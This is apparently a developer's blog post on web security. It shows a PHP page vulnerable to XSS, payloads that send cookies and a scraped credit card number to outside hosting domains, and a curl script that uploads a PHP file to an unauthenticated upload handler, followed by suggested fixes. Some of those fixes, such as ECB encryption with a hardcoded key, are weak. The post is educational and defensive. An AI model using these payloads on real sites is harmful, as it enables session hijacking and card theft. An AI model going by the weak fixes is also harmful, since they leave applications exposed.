Lately I’ve come to the conclusion that we, developers, have become lazy. There are so many security tools that covers our back that we kind of forget to cover this topic and may end-up having problems when changing environments.
We rely on frameworks, on HTTP Servers (apache, nginx) and we forget that we should do our part also.
While common shared hosts comes with a package of tools to cover this exploits, VPS managed by us (with no or minimum sys-admin/dev-ops experience) are not that protected and we should strengthen our code (what we should be doing whatever the environment).
Any example in this post is just for educational purpose. It should not be used on production sites. I am not responsible for any bad usage of this examples.
This made me built up a set of few exploits that I see that are still modern and present:
1. Cross-site scripting (XSS)
The brief description of XSS is that is an exploit that allows attacker to inject client-side code. This can be persisted (a comment) or non-persisted (a http query, an URL).
Well this doesn’t sounds so bad, does it? So we end up having a dummy alert box in our page… Big deal! It would be good if it were that harmless.
Let me show you an example (You should use Firefox as Chrome has covered this issues…even the browser makes us lazy):
<html>
<head>
<title>My dummy page</title>
</head>
<body>
<form action=<?php echo $_SERVER['PHP_SELF'];?> method=get>
<input type=text name=search>
<input type=submit>
</form>
<?php
$page = isset($_GET['page']) ? $_GET['page'] : null;
switch ($page) {
case ('secure'):
?>
<h2>Sensitive data:</h2>
<span>Cart number: <strong>0123 4321 2213 2132</strong></span>
<?php
break;
default:
setcookie('dummy_data', rand(0,1000));
if (isset($_GET['search'])) {
echo "You've searched {$_GET['search']}";
}
}
?>
</body>
</html>
Now, let’s exploit this chunk of code.
Let’s search, for example: <script>document.write("I'm badass!");</script>
Ok, so that doesn’t look that bad. We kind of are doing stuff to ourselves. But, we do not think as “bad guys”.
Let’s take the following scenario: We use an URL shorter (does links like https://goo.gl/ZRfw3f) and we add the following injection in the url:
<script>var http = new XMLHttpRequest();http.open("POST", "http://a-free-hosting.com/dump.php", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.send("data="+JSON.stringify(document.cookie));</script>
Now if this link gets to some people (spam) that are authenticated on that site (targeted clients for a certain shop) end up with cookie theft (or Session hijacking)
Now we can further exploit this. By having access to what the “victim” sees and what the victim can access, we can extract information from their secured pages.
Let’s assumes this script (read_content.js):
(function() {
document.body.innerHTML += '<iframe src="?page=secure" id=newpage>';
document.getElementById('newpage').onload = function() {
var content = document.getElementById('newpage').contentDocument;
sensitiveData = content.getElementsByTagName('strong')[0].innerHTML;
console.log("Your credit card is: " + sensitiveData);
document.body.innerHTML += '<iframe src="http://that-free-hosting-domain/security/dump.php?add=' + sensitiveData + '">';
};
})();
Now, let’s call our script from the search box:
Now the attacker has grabbed some Credit cards, Cupon Code or whatever. Now the thread has become more serious than a dummy alert box.
The user trend is to being kept signed in so this kind of exploit is a real thread.
So, let’s see what are the main issues here:
- we keep sensible data in the cookie
- we show entire sensitive data on-screen
- we allow iframes for secure areas
- ya’, almost forget… we trust the user input
I chose this order for a reason. We need to assume that we forget a “hole”. If we end-up having at least 1 breach we need to be certain that we have our back covered.
Now let’s fix this issues in the order above:
1. encrypting cookie: there are certainly a lot of methods that can help us encrypt our data. For example, even a little chunk of code like this:
<?php
$arrayData = ['foo' => 'bar'];
$privateKey = 'aSecretComplexKey';
$encryptedData = openssl_encrypt(json_encode($arrayData), 'AES-128-ECB', $privateKey);
echo $encryptedData . '<br />';
$decryptedData = openssl_decrypt($encryptedData, 'AES-128-ECB', $privateKey);
echo $decryptedData;
?>
2. Hide data on display. Show bullets instead and use ids for reference (preferable not numeric and ordered ids, say no to [1,2,3] and say yes to [xAvd, efOsc, o43sD]).
3. Disable iframes for senstive data. Use X-FRAME-OPTIONS header flag, also use javascript to disable continuing with the page (if (window.parent && window.parent.location.hostname !== "my-hostname") // redirect to somewhere else
)
4. After you cover all this issues you can go on an sanitizing user’s input. There are tone of methods (htmlspecialchars(); strip_tags()
and many many others).
2. Code injection
It seems a myth but it is still a viable exploit. This is the nastiest type of exploit. It can be “silent” and with great consequences.
The most common (and still present, especially in most word press plugins and themes) are the ones were “the uploader” doesn’t validate user’s authentication state.
I will try to show a “peseudo-code” (more a dummy than pseudo-code) to better explain how this is actually present in many web applications.
So, by the logic presented in the figure above, we have 2 components: admin area and upload processor.
The admin arrea
<?php
require 'some_libraries.php';
if (!isAuthenticated()) {
header ('Location: login-form');
}
?>
<html>
<head>
<title>My dummy page</title>
</head>
<body>
<form action="upload_responsabile" method=post enctype="multipart/form-data">
<input type=file name=file>
<input type=submit>
</form>
</body>
</html>
Upload processor
<?php
move_uploaded_file($_FILES['file']['tmp_name'], __DIR__ . DIRECTORY_SEPARATOR . 'storage' . DIRECTORY_SEPARATOR . $_FILES['file']['name']);
echo "File uploaded successful!";
?>
As we can see, the upload processor forget to have that simple little call: isAuthenticated()
.
Now, if you are sceptic on how is that an exploit, you can see the code below that can do this exploit:
<?php
$curlHandler = curl_init('path_to_remote_upload_service');
curl_setopt($curlHandler, CURLOPT_POST, true);
curl_setopt($curlHandler, CURLOPT_POSTFIELDS, [
'file' => 'my_exploit_file.php'
]);
curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($curlHandler);
curl_close($curlHandler);
print_r($result);
?>
This chunk of code acts like a replacement for the secured area and voila, I can upload a php file on someone’s else server.
Now let’s see the mistakes:
- Disable posts from outside the server (cross-domain) – this can be overridden so it’s not quite a solution
- Validate that the referral is from the same domain… Oh, wait.. this can be tampered as well
- Validate that every path in a specific format is acceded by an authenticated user.. This might be the one…
Now let’s discuss the last point. Let’s say you have an URL like: http://domain.com/admin/
You can secure this path and all patterns starting with admin. I will not elaborate on how to do that because this will become a very long post. All I can say is that many frameworks offer this option (Example: Symfony Security).
But this is not sufficient. You can be more paranoid (and it is a good thing) by adding some extra security points, for example a token CSRF token (to be short on this, think of it as a “hidden” prefilled captcha – when you open the admin area a code is generated and stored in a session, for example, and sent with the file’s upload request. When the request is received the token is validated and then the session’s value is reset. Now if we want to repost the token will not match so we are kind of obligated to access the admin area again so we can have a new token).
Conclusion
Even if we do not like to admit it, old school security issues are still present in modern applications. While most of the “old” techniques of exploits are fixed by platform updates (for example, the Null Byte Injection exploit was fixed hardly in PHP 5.3) most of these techniques can still be applied.
Hosting companies covers developer negligence using many http server security modules (I can recommend chroot.ro) the cost for VPS are lowering and many developers are migrating to this solution were they set-up their own environment but may omit security issues that an experienced dev-ops eats for breakfast.
The main principle in security is to trust no one. You should always validate your input.